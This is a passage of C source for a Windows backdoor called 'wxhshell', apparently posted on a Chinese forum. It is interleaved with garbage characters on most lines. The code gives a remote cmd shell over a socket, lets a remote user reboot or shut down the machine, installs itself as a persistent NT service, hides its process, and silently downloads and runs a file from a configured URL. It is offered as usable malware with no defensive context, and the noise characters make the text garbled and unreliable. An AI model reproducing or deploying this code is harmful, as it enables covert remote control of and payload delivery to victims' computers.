"x-j~u?  
    switch(cmd[0]) { TDh5lI  
  N['  .BN  
  // 帮助 tA;}h7/Lc~  
  case '?': { 0;k# *#w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3n _htgcv  
    break; siI;"?  
  } 3u=g6W2 F  
  // 安装 WcAkCH!L  
  case 'i': { *pq\MiD/  
    if(Install()) !a`&O-ye  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a9gLg &  
    else CrLrw T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3S{ />1Y  
    break; ";F'~}bDA  
    } C_Dn{  
  // 卸载 ;+%rw2Z,B  
  case 'r': { r&CiSMS*  
    if(Uninstall()) $i&zex{\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uFE)17E  
    else C Z;6@{ o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1#x0q:6  
    break; Da|z"I x  
    } q m}@!z^  
  // 显示 wxhshell 所在路径 w:0E(z  
  case 'p': { p{_ " bB  
    char svExeFile[MAX_PATH]; @dK Tx#gZ  
    strcpy(svExeFile,"\n\r"); s<Ziegmw|g  
      strcat(svExeFile,ExeFile); Y]>t[Lo%  
        send(wsh,svExeFile,strlen(svExeFile),0); hb$Ce'}N  
    break; 7dWS  
    } ,bi^P>X  
  // 重启 P0@,fd<  
  case 'b': { Tk}]Gev  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j%kncGS  
    if(Boot(REBOOT)) HN"Z]/ 5j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M]^5s;y  
    else { & 21%zPm  
    closesocket(wsh); By |4 m  
    ExitThread(0); KO [Yi  
    } ]gOy(\B  
    break; >Tgv11[  
    } ll^#JpT[S  
  // 关机 <I?Zk80  
  case 'd': { -RwE%  cr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1zv'.uu.,  
    if(Boot(SHUTDOWN)) c{|p.hd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $FVNCFN%  
    else { ]^E?;1$f?  
    closesocket(wsh); la!~\wpa  
    ExitThread(0); :TbgFQ86~  
    } }vuO$j  
    break; CJY$G}rk  
    } FrS]|=LJhX  
  // 获取shell Ui~>SN>s  
  case 's': { @"A4$`Xi3  
    CmdShell(wsh); oR'm2d^  
    closesocket(wsh); b6bHTH0  
    ExitThread(0); (QEG4&9  
    break; +7Gwg  
  } @ Y+oiB~Y  
  // 退出 -w2/w@&  
  case 'x': { J1k>07}|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K- v#.e4  
    CloseIt(wsh); D*jM1w_`  
    break; pi(m7Ci"  
    } S jqpec8  
  // 离开 9[4xFE?|  
  case 'q': { Wr 4,YQM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); XFl 6M~ c  
    closesocket(wsh); }bxs]?OW>  
    WSACleanup(); dO'(2J8  
    exit(1); {: /}NpA$  
    break; Txu/{ M,  
        } aE8VZ8tvq  
  } Dt@SqX:~Ee  
  } Nn6%9PX_)  
kiEa<-]  
  // 提示信息 w )f#V s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :#Wd~~d  
} )=+|i3]U  
  } 5pX6t  
6nn *]|7  
  return; /~1+i'7V.,  
} ("KF'fp&M2  
|!ELV 7?(  
// shell模块句柄 "oyo#-5z  
int CmdShell(SOCKET sock) &ZO0r ^  
{ Wtnfa{gP%  
STARTUPINFO si; F?0Ykjh3  
ZeroMemory(&si,sizeof(si)); OUnA;_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pa+hL,w{6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #!=tDc &  
PROCESS_INFORMATION ProcessInfo; M\j.8jG  
char cmdline[]="cmd"; _ q"Gix  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c<~H(k'+c  
  return 0; 6tZI["\   
} zLQx%Yg!  
~N4m1s"  
// 自身启动模式 _`X:jj>  
int StartFromService(void) ?ub35NLa  
{ P \I|,  
typedef struct Pz7XAcPQ(  
{ X$ D6Ey  
  DWORD ExitStatus; HS$r8`S?)  
  DWORD PebBaseAddress; ctQ/wrkU  
  DWORD AffinityMask; :FF=a3/"6  
  DWORD BasePriority; 4eu O1=  
  ULONG UniqueProcessId; %#+Hl0,Tt  
  ULONG InheritedFromUniqueProcessId; vN $s|R'@  
}   PROCESS_BASIC_INFORMATION; 6]N.%Y[(  
)X7A  
PROCNTQSIP NtQueryInformationProcess; Z+SRXKQ  
\U0Q<ot/7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S:}7q2:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +T ?NH9  
'u658Tj  
  HANDLE             hProcess; Om&Dw |xG8  
  PROCESS_BASIC_INFORMATION pbi; ~DWl s.  
vO=fP_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cQ|NJ_F{1  
  if(NULL == hInst ) return 0; XppOU  
ZCw]m#lS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *pd@.|^)m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4i bc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'w/hw'F6  
1C.VnzRnJ  
  if (!NtQueryInformationProcess) return 0; =1! 'QUc  
M5B# TAybC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G}*hM$F  
  if(!hProcess) return 0; :k"]5>(^  
*hrd5na  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +\'t E~V  
L];b< *d  
  CloseHandle(hProcess); rQXzR  
|ZBw<f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *:1ey{w:  
if(hProcess==NULL) return 0; y(Td/rY.  
9uY'E'm*  
HMODULE hMod; Tw% 3p=  
char procName[255]; 13PS2  
unsigned long cbNeeded; k9R9Nz|J  
a.'*G6~Qgw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^.tg7%dJ  
b6[j%(   
  CloseHandle(hProcess); qR.Q,(b|  
N!32 wJ  
if(strstr(procName,"services")) return 1; // 以服务启动 ^8tEach  
C~[,z.FvO  
  return 0; // 注册表启动 lr?;*f^3  
} SuznN L=/$  
Cw%{G'O   
// 主模块 c,22*.V/  
int StartWxhshell(LPSTR lpCmdLine) zi:BF60]=  
{ ax2B ]L2  
  SOCKET wsl; ]Dzlp7Y}  
BOOL val=TRUE; =sFTxd_"iQ  
  int port=0; mmsPLv6  
  struct sockaddr_in door; wBzC5T%,  
]9L oZ)  
  if(wscfg.ws_autoins) Install(); fVwU e _Y  
f::Dx1VcX  
port=atoi(lpCmdLine); 'yth'[  
B *vM0  
if(port<=0) port=wscfg.ws_port; $(9U@N9E  
!W0v >p  
  WSADATA data; A >$I -T+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +"(jjxJm  
!BI;C(,RL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #g=XUZ/"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V]N?6\Op  
  door.sin_family = AF_INET; |o @%dH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *VeRVaBl  
  door.sin_port = htons(port); 5;S.H#YOpO  
bcR_E5x$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { % nIf)/2g  
closesocket(wsl); AS,%RN^.  
return 1; ;=@0'xPEa-  
} &zs$x?/  
iLz@5Zj8  
  if(listen(wsl,2) == INVALID_SOCKET) { 23?rEhKe  
closesocket(wsl); eQ"E   
return 1; h~26WLf.  
} N7_"H>O$0U  
  Wxhshell(wsl); S$3JMFA  
  WSACleanup(); :KN-F86i  
7.T?#;'3  
return 0; C?Ucu]cW  
X.V~SeS  
} __@BUK{q  
YP9^Bp{0  
// 以NT服务方式启动 mTh]PPo   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zJXplvaL;  
{ z=FZiH  
DWORD   status = 0; .-=vx r  
  DWORD   specificError = 0xfffffff; uMv1O{  
AEuG v}#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y~Ifj,\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; IAEAhqp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^&)|sP  
  serviceStatus.dwWin32ExitCode     = 0; b2]Kx&!  
  serviceStatus.dwServiceSpecificExitCode = 0; bfO=;S]b!  
  serviceStatus.dwCheckPoint       = 0; `kr?j:g  
  serviceStatus.dwWaitHint       = 0; B:QHwzd  
BD-AI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q^I\cAIB  
  if (hServiceStatusHandle==0) return; nd(S3rct&  
.KC ++\{HE  
status = GetLastError(); BC]?0 U  
  if (status!=NO_ERROR) x:7IIvP  
{ {|\.i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8] ikygt"  
    serviceStatus.dwCheckPoint       = 0; J=L5=G7(  
    serviceStatus.dwWaitHint       = 0; '!$%> ||S  
    serviceStatus.dwWin32ExitCode     = status; +O5hH8<&b  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7Qsgys#/=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); or]IZ2^n  
    return; SzRmF1<  
  } ?q&T$8zc4  
Gy)@Is9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '2O\_Uz  
  serviceStatus.dwCheckPoint       = 0; {PmZ9  
  serviceStatus.dwWaitHint       = 0; aoTP [Bp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f-2c0Bi  
} 1U\z5$V  
80;(Gt@<"  
// 处理NT服务事件,比如:启动、停止 ^t"'rD-I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X?$_Sd"G+5  
{ <t,x RBk  
switch(fdwControl) ZB&6<uw  
{ MfQ!6zE  
case SERVICE_CONTROL_STOP: L+QLLcS~EM  
  serviceStatus.dwWin32ExitCode = 0; y==CT Y@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $SE^S   
  serviceStatus.dwCheckPoint   = 0; 1 .X@;  
  serviceStatus.dwWaitHint     = 0; pNIf=lA  
  { y?:.;%!E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TPY}C  
  } rbpSg7}Q  
  return; :ivf/x n  
case SERVICE_CONTROL_PAUSE: j=J/x:w_e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?rIx/>C9  
  break; |CzSU1ma  
case SERVICE_CONTROL_CONTINUE: ]_f<kW\1*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2m[<]$  
  break; 6R5Qy]]E  
case SERVICE_CONTROL_INTERROGATE: ;GI&lpKK  
  break; Z)\@i=m  
}; K@#L)VT!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :@)>r9N  
} )ANmIwmC#  
[9 RR8  
// 标准应用程序主函数 EZj9wd"u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3Y~>qGQwh  
{ 9K&:V(gmw  
jSAjcLR  
// 获取操作系统版本 AK#1]i~  
OsIsNt=GetOsVer(); '=6\v!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;\l,5EG  
{_Gs*<.  
  // 从命令行安装 ZW}_Q s  
  if(strpbrk(lpCmdLine,"iI")) Install(); mQ=#nk$~g  
nLiY%x`S  
  // 下载执行文件 `g})|Gx  
if(wscfg.ws_downexe) { )Z VD+X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N36_C;K-z  
  WinExec(wscfg.ws_filenam,SW_HIDE); x=jK:3BF  
} ""D 4s  
QwJyY{O`  
if(!OsIsNt) { d M-%{  
// 如果时win9x,隐藏进程并且设置为注册表启动 9E6R0D}  
HideProc(); pD74+/DD  
StartWxhshell(lpCmdLine); Bnd [X  
} 9I/N4sou  
else w\brVnt  
  if(StartFromService()) t_suF$  
  // 以服务方式启动 Ki~1qu:  
  StartServiceCtrlDispatcher(DispatchTable); yOg+iFTr  
else O#u=c1 ?:  
  // 普通方式启动 I9Fr5p-%O  
  StartWxhshell(lpCmdLine); 9k~8  
n}77##+R&C  
return 0; 2dzrRH  
}
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只看该作者 1 发表于: 2006-10-10
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